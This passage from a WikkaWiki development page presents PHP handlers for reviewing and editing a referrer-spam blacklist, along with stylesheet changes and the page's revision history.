echo '<p><strong>'.LOGIN_NOTE.'</strong></p>'."\n";
}
echo '</div>'."\n";
?>
%%
===4. ##handlers/page/review_blacklist.php##===
This is rewritten mainly to make it integrate seamlessly with the referrers handler. There was also a problem with the output which was not valid XHTML; it now follows the same pattern as the referrers handler and got the same treatment for preparation for internationalization as well.
%%(php;1)
<?php
/**
* Display, filter and search a list of blacklisted domains.
*
* Usage: append /review_blacklist to the URL of the page
*
* This handler allows logged-in users to display and search the blacklist; an admin may
* remove blacklisted domains from the database.
*
* @package Handlers
* @subpackage DatabaseHandlers
* @name ReviewBlacklist
*
* @author ?
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - code cleanup, search/filter functionality added, valid XHTML, accessibility
* @version 0.8
* @since Wikka 1.1.6.X
*
* @todo for 1.0:
* - clean up debug code
* - configurable choice hostname (NAME_GLOBAL) or 'this site' (config, installer)
* - make index on the spammer column in the referrer_blacklist table _unique_ (installer) and remove extra query
* - set form id
* - fix stylesheet kluge
* - include options and process to handle banned IP addresses
* later:
* - (global) icons to represent each of the five views, small and larger versions (menu/page)
* - adapt text definitions to take singular-plural into account
* - add paging
* - turn list into form with checkboxes to allow mass removing
*
* @input string $q optional: string used to filter the referrers;
* default: 'NULL;
* the default can be overridden by providing a POST parameter 'q'
* @input integer $qo optional: determines the kind of search to be performed for string $q:
* 1: search for all referrers containing a given string
* 0: search for all referrers not containing a given string
* default: 1;
* the default can be overridden by providing a POST parameter 'qo'
* @input string $remove optional: GET parameter - domain to be removed from the blacklist
* default: NULL;
* @output Selection and filter form for blacklisted domain; overview of resulting blacklist info
*
* @uses GetPageTag()
* @uses IsAdmin()
* @uses GetGetUser()
* @uses Query()
* @uses LoadAll()
* @uses LoadSingle()
* @uses Href()
* @uses makeList()
* @uses FormOpen()
* @uses FormClose()
* @uses makeId()
* @uses htmlspecialchars_ent()
*/
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('SEARCH_LIKE','LIKE'); # search string operator
define('SEARCH_UNLIKE','NOT LIKE'); # search string operator
// -------------------------------------
// initialize parameters
$q = NULL; # search string
$qo = 1; # search string option
$remove = NULL; # domain to be removed from the blacklist
// -------------------------------------
// initialize internal variables
$string_option = SEARCH_LIKE; # LIKE or NOT LIKE
$tag = $this->GetPageTag();
$isAdmin = $this->IsAdmin();
$loggedin = ($isAdmin) ? TRUE : (bool)$this->GetUser();
$pre = $this->config['table_prefix'];
$queryd = '';
$querys = '';
$rows = 0;
// -------------------------------------
// User-interface strings
define('TITLE','Blacklisted domains');
define('REPORT_REMOVED','Removed: %d records'); # @@@ does not take account of singular
define('TOTAL_BL','Total: %d blacklisted domain');
// current target
# you can use NAME_GLOBAL instead of 'this site' if the site name is short enough
# @@@ JW: choice between 'this site' and NAME_GLOBAL could be set via configuration (later)
define('TARGET_GLOBAL','this site');
define('TARGET_PAGE',$tag);
// menus don't use current target but *possible* targets
define('MENU_REFERRERS','Referrers to %s');
define('MENU_SITES','Domains linking to %s');
define('MENU_REFERRERS_PAGE',sprintf(MENU_REFERRERS,TARGET_PAGE));
define('MENU_SITES_PAGE',sprintf(MENU_SITES,TARGET_PAGE));
define('MENU_REFERRERS_GLOBAL',sprintf(MENU_REFERRERS,TARGET_GLOBAL));
define('MENU_SITES_GLOBAL',sprintf(MENU_SITES,TARGET_GLOBAL));
define('MENU_BLACKLIST','Blacklisted sites');
define('FORM_LEGEND','Filter view:');
define('FORM_URL_OPT_LABEL','Domain:');
define('FORM_URL_OPT_TITLE','Select search option');
define('FORM_URL_OPT_1','containing');
define('FORM_URL_OPT_0','not containing');
define('FORM_URL_STRING_LABEL','string');
define('FORM_URL_STRING_TITLE','Enter a search string');
define('FORM_SUBMIT_BLACKLIST','Show blacklisted domains');
define('LIST_SUMMARY_BL','Filtered list of blacklisted domains%s, sorted alphabetically');
define('LIST_HEAD_ACTION','Action');
define('LIST_HEAD_BL','Blacklisted domains');
define('LIST_ACTION_DESC',' and links to remove domains from the blacklist');
define('LIST_ACTION_BL','Remove');
define('LIST_ACTION_BL_TITLE','Remove this domain from the blacklist');
define('LOGIN_NOTE','You need to login to see blacklisted domains.');
define('LIST_RESULT_COUNTER_SITES','Filtered result: %d domains'); # @@@ does not take account of singular
define('LIST_RESULT_NONE','Filtered result:');
define('NONE_NOTE','No blacklisted domains found');
// -------------------------------------
// fetch and validate parameters
// get query string and comparison method
if (isset($_POST['q']))
{
$tq = trim(strip_tags($_POST['q']));
if ('' != $tq)
{
$q = mysql_real_escape_string($tq);
if (isset($_POST['qo']))
{
$qo = ($_POST['qo'] == '1') ? 1 : 0;
$string_option = ($qo == 1) ? SEARCH_LIKE : SEARCH_UNLIKE;
}
}
}
// get host(s) to be removed
if (isset($_GET['remove']))
{
$remove = mysql_real_escape_string(strip_tags($_GET['remove']));
}
// -------------------------------------
// build remove query
if ($isAdmin)
{
$queryd = 'DELETE FROM '.$pre.'referrer_blacklist'
. ' WHERE spammer = "'.$remove.'"';
}
// build filter query
if ($loggedin)
{
$querys = 'SELECT * FROM '.$pre.'referrer_blacklist';
if (isset($q))
{
$querys .= ' WHERE spammer '.$string_option." '%".$q."%'"; # filter by string
}
$querys .= ' ORDER BY spammer ASC'; # set order
// get total number of domains in blacklist
$query_refcount = 'SELECT COUNT(spammer) AS total';
$query_refcount .= ' FROM '.$pre.'referrer_blacklist';
}
// -------------------------------------
// execute query (if logged in)
// do a 'remove' query first, then follow with the select query:
// the list should then reflect the situation after removal of a domain
if ($loggedin)
{
if ($isAdmin && isset($remove))
{
$rc = $this->Query($queryd); # TRUE on success
$numbldeleted = mysql_affected_rows(); # @@@ report back as GET parameter (in $removeurl/$removelink!)
}
$blacklist = $this->LoadAll($querys);
$totalrefs = $this->LoadSingle($query_refcount);
}
// -------------------------------------
// build UI elements
// title
$title = TITLE;
if ($isAdmin)
{
if (isset($numbldeleted)) $rptremoved = sprintf(REPORT_REMOVED,$numbldeleted);
$removeurl = $this->Href('review_blacklist','','remove=').'%s';
$removelink = '<a href="'.$removeurl.'" title="'.LIST_ACTION_BL_TITLE.'">'.LIST_ACTION_BL.'</a>';
}
if ($loggedin)
{
// results
$tot = $totalrefs['total'];
$total = sprintf(TOTAL_BL,$tot);
$cdomains = count($blacklist);
if ($cdomains > 0)
{
$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains);
}
else
{
$result = LIST_RESULT_NONE;
}
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
// menu
$m_referrers_page = '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>';
$m_sites_page ='<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>';
$m_sites_global = '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
$m_blacklist = $menu_blacklist;
// don't generate id since the menu is used multiple times
$menu = $this->makeList(array($m_referrers_page,$m_sites_page,$m_referrers_global,$m_sites_global,$m_blacklist),FALSE,'menu');
// form
$form = $this->FormOpen('review_blacklist','','POST'); # @@@ add parameter for id
$form .= '<fieldset>'."\n";
$form .= '<legend>'.FORM_LEGEND.'</legend>'."\n";
$form .= '<label for="qo" class="mainlabel">'.FORM_URL_OPT_LABEL.'</label> '."\n";
$form .= '<select name="qo" id="qo" title="'.FORM_URL_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($qo == '1')? ' selected="selected"' : '').'>'.FORM_URL_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($qo == '0')? ' selected="selected"' : '').'>'.FORM_URL_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<label for="q">'.FORM_URL_STRING_LABEL.'</label> '."\n";
$form .= '<input type ="text" name="q" id="q" title="'.FORM_URL_STRING_TITLE.'" size="10" maxlength="50" value="'.$q.'" />';
$form .= '</fieldset>'."\n";
$form .= '<input type="submit" value="'.FORM_SUBMIT_BLACKLIST.'" accesskey="b" />'."\n";
$form .= $this->FormClose();
// blacklist with admin link for removing
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_BL,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_BL,'');
$refshead = LIST_HEAD_BL;
// ids - use constant for variable-content heading
$idTitle = $this->makeId('hn','title');
$idTotal = $this->makeId('hn','total');
$idResult = $this->makeId('hn','result');
}
// -------------------------------------
// show user interface (pre-template)
echo '<div class="page">'."\n";
echo '<h3 id="'.$idTitle.'">'.$title.'</h3>'."\n";
# debug
if (DEBUG)
{
echo 'Query remove: '.$queryd.'<br />';
echo 'Query blacklist: '.$querys.'<br />';
echo 'remove: '.$remove.'<br/>';
echo 'removed: '.$numbldeleted.'<br/>';
}
# debug
if ($loggedin)
{
if ($isAdmin && isset($numbldeleted)) echo '<p class="notes">'.$rptremoved.'</p>';
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
echo '<h4 id="'.$idTotal.'">'.$total.'</h4>'."\n";
echo '<div id="refform">'.$form.'</div>'."\n"; # @@@ kluge until FormOpen() is adapted: id should actually be on form itself and div not necessary!
if ($cdomains != 0)
{
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<table id="reflist" summary="'.$summary.'">'."\n";
echo '<thead>';
if ($isAdmin) echo '<th class="action" scope="col">'.LIST_HEAD_ACTION.'</th>';
echo '<th class="refs" scope="col">'.$refshead.'</th></tr>'."\n";
echo '</thead>'."\n";
echo '<tbody>'."\n";
foreach ($blacklist as $spammer)
{
$ref = $this->htmlspecialchars_ent($spammer['spammer']);
echo '<tr>';
if ($isAdmin) echo '<td class="action"><span class="keys">'.sprintf($removelink,$ref).'</span></td>';
echo '<td class="refs">'.$ref.'</td>';
echo '</tr>'."\n";
}
echo '</tbody>'."\n";
echo '</table>'."\n";
}
else
{
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<p><em>'.NONE_NOTE.'</em></p>'."\n";
}
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
}
else
{
echo '<p><strong>'.LOGIN_NOTE.'</strong></p>'."\n";
}
echo '</div>'."\n";
?>
%%
===5. ##handlers/page/delete_referrer.php##===
Two problems here were solved: the code was not actually secure (anyone knowing how to build a URL could blacklist a domain), and when the action was completed you would get back to a single view only - often not the view you were coming form, causing an extra click to get back.
Also there is now a list of domains that are "whitelisted" so they will never be blacklisted. Basically this is for local machines, but you could add your own domains here as well. We'll make this list configurable.
For further details see the code (there's stil quite a lot of debug code which will disappear):
%%(php;1)
<?php
/**
* Remove specified URL or referrer domain from the referrer list and add it to the blacklist.
*
* Usage: supposed to be used only from link or form produced by the referrers handler.
*
* Security: - can be executed only by an admin (redirect to homepage otherwise)
* - redirect to homepage if any parameter is missing or incorrect
* - explicitly use GET or POST to retrieve parameters
*
* @package Handlers
* @subpackage DatabaseHandlers
* @name DeleteReferrer
*
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - code cleanup, security, (integration with referrers)
* @version 0.8
* @since Wikka 1.1.6.X
*
* @todo for 1.0:
* - clean up debug code
* - configurable 'whitelist' of hosts that should never be blacklisted (config, installer)
* later:
* - transfer filter parameters as well so we cen redirect to the exact view we came from
* - change to fetching POST parameters when we convert to using form(s))
*
* @input string $spam_link required: spammer URL or domain to blacklist.
* @input string $redirect required: handler for current page to redirect to.
* @input int $global optional: query parameter for redirecting to the original view; default: 0
* @input int $sites optional: query parameter for redirecting to the original view; default: 0
*/
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('LIST_REF_UNKNOWN','unknown'); # make sure this is *exactly* same string as used in referrers.php
$whitelist = array(LIST_REF_UNKNOWN,'localhost','127.0.0.1'); # @@@ make this configurable via wikka.config.php
// -------------------------------------
// initialize parameters
$spam_link = NULL; # site to blacklist from referrers list
$spam_site = NULL; # domain to blacklist from sites (domains) list
$redirect = NULL; # handler / query string of referring page to redirect to
$global = 0; # extra parameter for redirect
$sites = 0; # extra parameter for redirect
// -------------------------------------
// initialize internal variables
$isAdmin = $this->IsAdmin();
$home = $this->Href('',$this->config['root_page']);
$pre = $this->config['table_prefix'];
$par = '';
// -------------------------------------
// User-interface strings
define('MSG_NOT_ALLOWED','Blacklisting not allowed');
define('MSG_PAR_ERROR','Cannot blacklist: missing or incorrect parameter');
// -------------------------------------
// check permission and immediately redirect to home page if check fails
if (!$isAdmin) $this->Redirect($home,MSG_NOT_ALLOWED);
// -------------------------------------
// fetch and validate parameters
// ensure we have a spam_link OR spam_site parameter
if(isset($_GET['spam_link']))
{
$spam_link = strip_tags($_GET['spam_link']); # blacklisting from referrers list
}
elseif (isset($_GET['spam_site']))
{
$spam_site = strip_tags($_GET['spam_site']); # blacklisting from sites list
}
// ensure we have a redirect parameter 'referrers' (we won't allow any other value)
if (isset($_GET['redirect']))
{
$redirect = preg_match('/^referrers$/',$_GET['redirect']) ? strip_tags($_GET['redirect']) : NULL;
}
if (isset($_GET['global']))
{
$global = abs((int)$_GET['global']); # make sure we have a positive integer
}
if (isset($_GET['sites']))
{
$sites = abs((int)$_GET['sites']); # make sure we have a positive integer
}
# debug
if (DEBUG)
{
echo 'spamlink: '.$spam_link.'<br/>';
echo 'spamsite: '.$spam_site.'<br/>';
}
# end debug
// check required parameters and immediately redirect to home page if check fails
if (!(isset($spam_link) || (isset($spam_site))) || !isset($redirect)) $this->Redirect($home,MSG_PAR_ERROR);
// -------------------------------------
// derive internal variables
// With $spam_link we get a full URL and need to parse out the host name;
// with $spam_site we get a domain: no need to parse anything;
// for both: check against whitelist before acting on it
if (isset($spam_site))
{
// referring domain already is host name (no need to parse)
$domain = $spam_site;
}
else
{
$parsed_url = parse_url($spam_link);
if (FALSE !== $parsed_url)
{
// derive host name from referring URL
if (isset($parsed_url['host']))
{
$domain = $parsed_url['host'];
}
}
}
// exclude 'unknown', 'localhost' and others in the "whitelist"
if (!in_array($domain,$whitelist))
{
$spammer = $domain;
}
# debug
if (DEBUG)
{
echo 'domain: '.$domain.'<br/>';
echo 'spammer: '.$spammer.'<br/>';
#exit;
}
# end debug
// prepare extra parameters for redirect
if (1 == $global)
{
if ('' != $par) $par .= '&';
$par .= 'global=1';
}
if (1 == $sites)
{
if ('' != $par) $par .= '&';
$par .= 'sites=1';
}
// -------------------------------------
// do the blacklisting
if (isset($spammer)) {
// if $spammer = 'wakka' $queryd should remove http://wakka...
// but NOT http://example.com/wakka from the referrers table
#$hspammer = mysql_real_escape_string('//'.$spammer.'/'); # string to recognize host in referrers table
$hspammer = mysql_real_escape_string('//'.$spammer); # string to recognize host in referrers table (trailing / removed: some referrers don't have one
$spammer = mysql_real_escape_string($spammer); # string to use for spammer in referrer_blacklist table
$queryd = 'DELETE FROM '.$pre.'referrers'
. ' WHERE referrer LIKE "%'.$hspammer.'%"';
// check if domain is already blacklisted (must start with $spammer)
# @@@ JW: should not be necessary if we'd have a _unique_ index on spammer! (let the database do the work)
$querys = 'SELECT spammer FROM '.$pre.'referrer_blacklist'
. ' WHERE spammer like "'.$spammer.'%"';
// add domain to blacklist
$queryi = 'INSERT INTO '.$pre.'referrer_blacklist'
. ' SET spammer = "'.$spammer.'"';
# debug
if (DEBUG)
{
echo 'delete referrers: '.$queryd.'<br/>';
echo 'check blacklist : '.$querys.'<br/>';
echo 'blacklist domain: '.$queryi.'<br/>';
$querye = str_replace('DELETE','EXPLAIN SELECT *',$queryd);
$explain = $this->LoadAll($querye);
echo 'Explain:<pre>';
print_r($explain);
echo '</pre>';
$queryes = str_replace('DELETE','SELECT *',$queryd);
$todelete = $this->LoadAll($queryes);
echo 'To delete:<pre>';
print_r($todelete);
echo '</pre>';
#exit;
}
# end debug
$rcd = $this->Query($queryd); # TRUE on success
$numrefdeleted = mysql_affected_rows(); # @@@ report back as GET parameter (in $par)
if ($rcd) $rcs = $this->LoadSingle($querys); # row (array) if spammer already blacklisted
if (!is_array($rcs)) $rci = $this->Query($queryi); # TRUE on success
$numblacklisted = mysql_affected_rows(); # @@@ report back as GET parameter (in $par)
// if referrers were deleted, report both deleted referrers and added blacklist records
if (isset($numrefdeleted))
{
if ('' != $par) $par .= '&';
$par .= 'refdel='.$numrefdeleted;
$par .= '&bladd=';
$par .= (isset($numblacklisted)) ? $numblacklisted : 0;
}
# debug
if (DEBUG)
{
echo 'referrers deleted: '.$numrefdeleted.'<br/>';
echo 'blacklisted: '.$numblacklisted.'<br/>';
echo 'par: '.$par.'<br/>';
}
# end debug
}
// redirect to current page & handler, adding any extra parameters to get back to the original view
# debug
if (DEBUG)
{
// display link instead of doing redirect so debug output can be seen
echo '<a href="'.$this->Href($redirect,'',str_replace('&','&',$par)).'">Back</a>';
exit;
}
# end debug
$this->Redirect($this->Href($redirect,'',$par));
?>
%%
===6. ##actions/header.php##===
We have created an extension of the stylesheet to style the user-interface elements for these handlers; to avoid (most) problems with all the custom "skins" people are using on this site (and maybe yours as well?), this is kept in a separate file (for now) so most of the new styles will become available. Therefore the extra stylesheet file should be linked into the ##header## template **before** the general display stylesheet:
Existing ##actions/header.php##:
%%(php;13)
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="keywords" content="<?php echo $this->GetConfigValue("meta_keywords") ?>" />
<meta name="description" content="<?php echo $this->GetConfigValue("meta_description") ?>" />
<link rel="stylesheet" type="text/css" href="css/<?php echo ($this->GetCookie("wikiskin"))? $this->GetCookie("wikiskin"): $this->GetConfigValue("stylesheet") ?>" media="screen" />
<link rel="stylesheet" type="text/css" href="css/print.css" media="print" />
%%
Insert an extra link after line 15:
%%(php;13)
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="keywords" content="<?php echo $this->GetConfigValue("meta_keywords") ?>" />
<meta name="description" content="<?php echo $this->GetConfigValue("meta_description") ?>" />
<link rel="stylesheet" type="text/css" href="css/refmenu.css" /><!-- temp: extra styles for referrer handlers -->
<link rel="stylesheet" type="text/css" href="css/<?php echo ($this->GetCookie("wikiskin"))? $this->GetCookie("wikiskin"): $this->GetConfigValue("stylesheet") ?>" media="screen" />
<link rel="stylesheet" type="text/css" href="css/print.css" media="print" />
%%
This will put the necessary styling for the referrers handler user interface in place even if a custom skin is used.
===7. ##css/refmenu.css##===
>>**see also:**
""<a href="DbInfoAction#hn_Styling">Styling</a>"" on DbInfoAction
>>This is the actual stylesheet file - it will later be integrated in the main wikka stylesheet, of course.::c::
%%(css;1)/*
This stylesheet is for the referrers and blacklist handlers.
It will need to be integrated with the main stylesheet.

JW 2005-07-08 - extended for the dbinfo action and forms.
*/
h4 {
margin-top: 0.3em !important; /* remove !important when integrating into main stylesheet or including it after that */
}
.refmenu {
margin: 0;
padding: 0;
margin-top: 1em;
}
.refmenu .menu {
margin: 0;
padding: 0;
}
.refmenu .menu li {
list-style: none;
float: left;
margin-right: 3px; /* margin-right goes together with float left (or vice versa) */
padding: 1px 2px;
font-size: 85%;
line-height: 1.2em;
color: #000000;
background-color: #DDDDDD;
}
br.clear {
clear: both;
}
form fieldset.hidden { /* for all forms! not just referrers/dbinfo */
display: none;
}
#refform, #dbinfo {
color: inherit;
background-color: inherit;
margin-top: 1em;
margin-bottom: 1em;
}
#refform {
width: 32em;
}
#form_dbsel, #form_tablesel {
width: 40em;
}
#refform fieldset, #form_dbsel fieldset, #form_tablesel fieldset {
padding: 1em;
margin-bottom: 0.3em;
border: 1px solid #666666;
}
#refform legend, #form_dbsel legend, #form_tablesel legend {
padding: 0 2px;
color: #000000;
background-color: #DDDDDD;
border: 1px solid #666666;
margin-bottom: 0.3em;
}
#refform .mainlabel {
float: left;
width: 4.6em; /* width will work on _floated_ element, even if not a block! */
padding-right: 0.5em;
}
#form_dbsel .mainlabel, #form_tablesel .mainlabel {
float: left;
width: 9.8em; /* width will work on _floated_ element, even if not a block! */
padding-right: 0.5em;
}
#q, #qo, #ho {
width: 10em;
}
#h {
width: 3em;
text-align: right;
}
#reflist {
margin-top: 1em;
margin-bottom: 1em;
border: none;
}
#reflist .hits {
width: 3em;
padding-right: 5px;
text-align: right;
vertical-align: middle;
}
#reflist .action {
width: 5em;
padding-left: 5px;
padding-right: 5px;
text-align: center;
vertical-align: middle;
}
#reflist .refs {
padding-left: 5px;
text-align: left;
vertical-align: middle;
}
%%
''This the version now extended for the [[DbInfoAction DbInfo action]].''
===8. ##css/refmenu_col.css##===
>>**see also:**
""<a href="DbInfoAction#hn_Styling">Styling</a>"" on DbInfoAction
>>The styling was designed to match with the default Wikka style. If you're using a custom skin here, everything should be positioned and spaced correctly, but the colors may not fit in with yours.
To save you hunting down what would need to be changed, grab this little file and copy it into your own skin on TestSkin: it contains all the color settings using in the extra stylesheet. Then simply adapt the colors to match your own: these will then override those in ##css/refmenu_col.css##. ::c::
%%(css;1)/*
For custom stylesheets: copy this into your stylesheet; the
adapt the colors here (made to match the default Wikka skin)
to match your own.

JW 2005-07-08 - extended for the dbinfo action and forms.
*/
.refmenu .menu li {
color: #000000;
background-color: #DDDDDD;
}
form fieldset.hidden { /* for all forms! not just referrers/dbinfo */
display: none;
}
#refform fieldset, #form_dbsel fieldset, #form_tablesel fieldset {
border: 1px solid #666666;
}
#refform legend, #form_dbsel legend, #form_tablesel legend {
color: #000000;
background-color: #DDDDDD;
border: 1px solid #666666;
}
%%
''This the version now extended for the [[DbInfoAction DbInfo action]].''
----
CategoryDevelopmentHandlers


Revision [13237]

Edited on 2006-02-21 17:41:43 by JoachimKruyswijk [Restored]
Additions:
Referrer lists generated by WikkaWiki on high-traffic servers are likely to become unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the ##referrers_purge_time## in the ConfigurationOptions, so referrers older than n days are purged from the database. To allow a better management of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering//. --DarTar
Deletions:
Referrer lists generated by WikkaWiki on high-traffic servers are likely to become unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the ##referrers_purge_time## in the ConfigurationOptions, so referrers older then n days are purged from the database. To allow a better management of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering//. --DarTar


Revision [10072]

Edited on 2005-07-17 22:44:03 by JavaWoman [references to DbInfo and stylesheet updates]
Additions:
~-If you're looking for how to adapt the styling of the user interface to match your own skin, see ""<a href="AdvancedReferrersHandler#hn_8._cssrefmenu_col.css">8. css/refmenu_col.css</a>"" at the end of the page.
>>**see also:**
""<a href="DbInfoAction#hn_Styling">Styling</a>"" on DbInfoAction
>>This is the actual stylesheet file - it will later be integrated in the main wikka stylesheet, of course.::c::
%%(css;1)/*

JW 2005-07-08 - extended for the dbinfo action and forms.
form fieldset.hidden { /* for all forms! not just referrers/dbinfo */
#refform, #dbinfo {
#form_dbsel, #form_tablesel {
width: 40em;
#refform fieldset, #form_dbsel fieldset, #form_tablesel fieldset {
#refform legend, #form_dbsel legend, #form_tablesel legend {
#form_dbsel .mainlabel, #form_tablesel .mainlabel {
width: 9.8em; /* width will work on _floated_ element, even if not a block! */
''This the version now extended for the [[DbInfoAction DbInfo action]].''
>>**see also:**
""<a href="DbInfoAction#hn_Styling">Styling</a>"" on DbInfoAction
>>The styling was designed to match with the default Wikka style. If you're using a custom skin here, everything should be positioned and spaced correctly, but the colors may not fit in with yours.
To save you hunting down what would need to be changed, grab this little file and copy it into your own skin on TestSkin: it contains all the color settings using in the extra stylesheet. Then simply adapt the colors to match your own: these will then override those in ##css/refmenu_col.css##. ::c::
%%(css;1)/*

JW 2005-07-08 - extended for the dbinfo action and forms.
form fieldset.hidden { /* for all forms! not just referrers/dbinfo */
#refform fieldset, #form_dbsel fieldset, #form_tablesel fieldset {
#refform legend, #form_dbsel legend, #form_tablesel legend {
''This the version now extended for the [[DbInfoAction DbInfo action]].''
Deletions:
~-If you're looking for how to adapt the styling of the user interface to match your own skin, see **8. ##css/refmenu_col.css##** at the end of the page.
This is the actual stylesheet file - it will later be integrated in the main wikka stylesheet, of course.
%%(css;1)
/*
form fieldset.hidden { /* for all forms! not just referrers */
#refform fieldset {
#refform legend {
The styling was designed to match with the default Wikka style. If you're using a custom skin here, everything should be positioned and spaced correctly, but the colors may not fit in with yours.
To save you hunting down what would need to be changed, grab this little file and copy it into your own skin on TestSkin: it contains all the color settings using in the extra stylesheet. Then simply adapt the colors to match your own: these will then override those in ##css/refmenu_col.css##.
%%(css;1)
/*
#refform fieldset {
#refform legend {


Revision [9967]

Edited on 2005-07-14 19:17:30 by JavaWoman [A few changes to referrers.php and review_blacklist.php; most importamtly they now use makeList() to]
Additions:
* @author ?
* - remove LoadReferrers() from core
* - set form id
* - fix stylesheet kluge
* - allow banning by domain or URL keyword (.htaccess)
* - view and filter on recorded IP address; allow banning by IP address (.htaccess)
* - transfer filter parameters as well so we can redirect to the exact view we came from
* @input integer $bladd optional: number of blacklist records added
* @output Selection and filter form for referrers; overview of resulting referrer info
* @uses GetConfigValue() # replace by $this->config[] !
* @uses GetPageTag()
* @uses IsAdmin()
* @uses GetUser()
* @uses LoadAll()
* @uses LoadSingle()
* @uses Href()
* @uses makeList()
* @uses FormOpen()
* @uses FormClose()
* @uses GetMethod()
* @uses makeId()
* @uses htmlspecialchars_ent()
define('TOTAL_REFERRERS','Total: %1$d referrers linking to %2$s');
define('TOTAL_SITES','Total: %1$d referrers linking to %2$s');
define('LIST_RESULT_COUNTER_REFERRERS','Filtered result: %1$d referrers linking to %2$s'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Filtered result: %1$d domains linking to %2$s'); # @@@ does not take account of singular
define('LIST_RESULT_NONE','Filtered result:');
define('NONE_NOTE_REFERRERS','No referrers found linking to %s');
define('NONE_NOTE_SITES','No domains found linking to %s');
#if ($days != $max_days)
#if ($days != $max_days)
if ($creferrers > 0)
$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$target);
$result = LIST_RESULT_NONE;
// don't generate id since the menu is used multiple times
$menu = $this->makeList(array($m_referrers_page,$m_sites_page,$m_referrers_global,$m_sites_global,$m_blacklist),FALSE,'menu');
// ids - use constant for variable-content heading
$idTitle = $this->makeId('hn','title');
$idTotal = $this->makeId('hn','total');
$idResult = $this->makeId('hn','result');
echo '<h3 id="'.$idTitle.'">'.$title.'</h3>'."\n";
echo '<h4 id="'.$idTotal.'">'.$total.'</h4>'."\n";
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
* @name ReviewBlacklist
* @author ?
* - set form id
* - fix stylesheet kluge
* - include options and process to handle banned IP addresses
* @output Selection and filter form for blacklisted domain; overview of resulting blacklist info
* @uses GetPageTag()
* @uses IsAdmin()
* @uses GetGetUser()
* @uses Query()
* @uses LoadAll()
* @uses LoadSingle()
* @uses Href()
* @uses makeList()
* @uses FormOpen()
* @uses FormClose()
* @uses makeId()
* @uses htmlspecialchars_ent()
define('LIST_RESULT_NONE','Filtered result:');
define('NONE_NOTE','No blacklisted domains found');
if ($cdomains > 0)
$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains);
$result = LIST_RESULT_NONE;
// don't generate id since the menu is used multiple times
$menu = $this->makeList(array($m_referrers_page,$m_sites_page,$m_referrers_global,$m_sites_global,$m_blacklist),FALSE,'menu');
// ids - use constant for variable-content heading
$idTitle = $this->makeId('hn','title');
$idTotal = $this->makeId('hn','total');
$idResult = $this->makeId('hn','result');
echo '<h3 id="'.$idTitle.'">'.$title.'</h3>'."\n";
echo '<h4 id="'.$idTotal.'">'.$total.'</h4>'."\n";
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
Deletions:
* - remove LoadReferrers() from core (commented out now)
* - adapt FormOpen() to accept id; then fix form kluge here and in stylesheet
* @inpur integer $bladd optional: number of blacklist records added
define('TOTAL_REFERRERS','Total: %d referrers linking to %s');
define('TOTAL_SITES','Total: %d referrers linking to %s');
define('LIST_RESULT_COUNTER_REFERRERS','Filtered result: %d referrers linking to %s'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Filtered result: %d domains linking to %s'); # @@@ does not take account of singular
define('NONE_NOTE_REFERRERS','Filtered result: No referrers found linking to %s');
define('NONE_NOTE_SITES','Filtered result: No domains found linking to %s');
$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$target);
$menu = '<ul class="menu">'."\n";
$menu .= '<li>'.$m_referrers_page.'</li>';
$menu .= '<li>'.$m_sites_page.'</li>';
$menu .= '<li>'.$m_referrers_global.'</li>';
$menu .= '<li>'.$m_sites_global.'</li>';
$menu .= '<li>'.$m_blacklist.'</li>';
$menu .= "\n".'</ul>'."\n";
echo '<h3>'.$title.'</h3>'."\n";
echo '<h4>'.$total.'</h4>'."\n";
echo '<h4>'.$result.'</h4>'."\n";
* - adapt FormOpen() to accept id; then fix form kluge here and in stylesheet
define('NONE_NOTE','Filtered result: No blacklisted domains found');
$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains);
$menu = '<ul class="menu">'."\n";
$menu .= '<li>'.$m_referrers_page.'</li>';
$menu .= '<li>'.$m_sites_page.'</li>';
$menu .= '<li>'.$m_referrers_global.'</li>';
